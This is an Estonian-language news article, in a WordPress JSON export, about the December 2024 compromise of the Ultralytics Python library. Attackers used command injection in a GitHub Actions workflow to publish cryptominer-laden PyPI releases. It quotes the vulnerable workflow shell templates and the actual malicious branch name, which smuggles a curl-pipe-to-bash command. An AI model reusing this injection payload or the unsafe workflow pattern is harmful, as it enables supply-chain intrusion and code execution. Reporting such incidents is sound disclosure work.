{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"GitHub Actions'i t\u00f6\u00f6tleja viga viis Ultralytics'i pahatahtlike v\u00e4ljaannete avaldamiseni.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
K\u00fcberkurjategijad suutsid t\u00e4ita koodi GitHub Actionsi \u00f5igustes Ultralytics Python'i raamatukogus, mida kasutatakse arvutin\u00e4gemise probleemide lahendamiseks, nagu objektide tuvastamine piltidel ja piltide segmentimine. P\u00e4rast repositooriumisse p\u00e4\u00e4semist avaldasid r\u00fcndajad PyPI kataloogis mitmeid uusi Ultralytics versioone, mis sisaldasid pahatahtlikke muudatusi kr\u00fcptovaluuta kaevandamiseks. Viimase kuu jooksul on Ultralytics raamatukogu PyPI kataloogist alla laaditud \u00fcle 6,4 miljoni korra. <\/p>\n
Koodirepositooriumi kompromiteerimiseks kasutati haavatavust ultralytics-actions paketis, mis on m\u00f5eldud GitHubis teatud toimingute automaatseks k\u00e4ivitamiseks GitHub Actions mehhanismi abil. Ultraytics projektis linkis haavatav t\u00f6\u00f6tleja pull_request_target s\u00fcndmusega ja k\u00e4ivitati, kui saabusid uued pull-taotlused. Eelk\u00f5ige koodi vormindamiseks saabuvates pull-taotlustes kutsuti t\u00f6\u00f6tlija format.yml ja k\u00e4idi k\u00e4sk, mis oli m\u00e4\u00e4ratud action.yml faili sektsiooni 'run', milles oli shell-k\u00e4skude mustreid: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name '${{ inputs.github_username }}' git config --global user.email '${{ inputs.github_email }}' <\/p>\n
Seega suudeti shell-k\u00e4skudesse ilma korraliku escaping'uta sisestada pull-taotluses mainitud Git haru nimi. M\u00e4rkimisv\u00e4\u00e4rne on, et augustis parandati ultralytics-actions paketis sarnane haavatavus, mis oli seotud v\u00e4lise v\u00e4\u00e4rtuse kasutamisega echo funktsioonis: echo 'github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}' <\/p>\n
Ettev\u00f5tte koodi t\u00e4itmiseks GitHub Actions kontekstis saatsid r\u00fcndajad pull-requesti ultralytics'ile, m\u00e4rkides haru nimeks: openimbot:$(curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh${IFS}|${IFS}bash) <\/p>\n
Seega, kui pull-taotlus esitati, sisestati koodis r\u00fcnnakute teostajate m\u00e4\u00e4ratud string '$(…)', mis k\u00e4ivitamise korral t\u00f5i kaasa koodi t\u00e4itmise 'curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash'.
<\/center> <\/p>\n
Koodi k\u00e4ivitamine GitHub Actions kontekstis v\u00f5ib olla kasutatud juurdep\u00e4\u00e4sutokeni ja teiste konfidentsiaalsete andmete p\u00fc\u00fcdmiseks. Kuidas r\u00fcndajad suutsid vormistada v\u00e4ljaande, omades v\u00f5imalust oma koodi t\u00e4itmiseks GitHub Actions's, ei ole veel t\u00e4pselt selge. Eeldatakse, et see sai v\u00f5imalikuks publish.yml t\u00f6\u00f6tleja muutmise kaudu (r\u00fcndajad eemaldasid lubatud arvesti kontrolli, millega on lubatud v\u00e4ljaannete avaldamine PyPI's) ja GitHub Actions'i ehituskahe m\u00fcrgitamise tehnika kasutamise t\u00f5ttu, et sisestada oma andmed v\u00e4ljaandesse. <\/p>\n
Ultralytics 8.3.41 esimene pahavara versioon avaldati r\u00fcndajate poolt PyPI kataloogis 4. detsembril kell 23:51 (MSK) ja kustutati j\u00e4rgmisel p\u00e4eval kell 12:15. Kell 15:47 postitati veel \u00fcks versioon 8.3.42, mis kustutati kell 16:47. Seega olid pahavara versioonid kokku saadaval allalaadimiseks umbes 13 tundi (PyPI-s registreeritakse iga p\u00e4ev umbes 250 000 ultralytics teegi allalaadimist). Versioonide 8.3.41 ja 8.3.42 koosseisus oli kood, mis laadis v\u00e4list serverile<\/a> komponenti XMRig kr\u00fcptovaluutade kaevandamiseks. <\/p>\n
![\"GitHub](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n